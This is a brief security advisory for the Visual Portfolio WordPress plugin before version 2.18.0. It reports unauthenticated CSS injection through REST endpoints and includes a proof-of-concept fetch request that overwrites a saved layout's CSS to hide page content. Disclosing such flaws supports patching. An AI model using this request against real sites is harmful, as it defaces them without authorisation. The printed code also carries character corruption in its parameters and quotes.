Visual Portfolio < 2.18.0 - Unauthenticated CSS Injection

The plugin does not have proper authorisation checks in some of its REST endpoints, allowing unauthenticated users to call them and inject arbitrary CSS in arbitrary saved layouts

PoC

The post_id is the ID of a saved layout fetch(‘/?rest_route=/visual-portfolio/v1/update_layout&post;_id=8&data;[vp_custom_css]=body{background-image:url(data://image/gif;base64,R0lGODdhKAAoAIABAAAAAP///ywAAAAAKAAoAAACX4yPqcvtD6OctNqLs968GwB4DkheJUSeUxqObCu98CJTtZvaL6quucjoAYfEovGI9M2MrJjwccM9G9FglXpVyJa0LW9n9X635Gy4jOZK02YoW1x5NzNytYWdzOv3/GIBADs=);}div{display:none !important};’, { method: ‘POST’, }).then(response => response.text()) .then(data => console.log(data));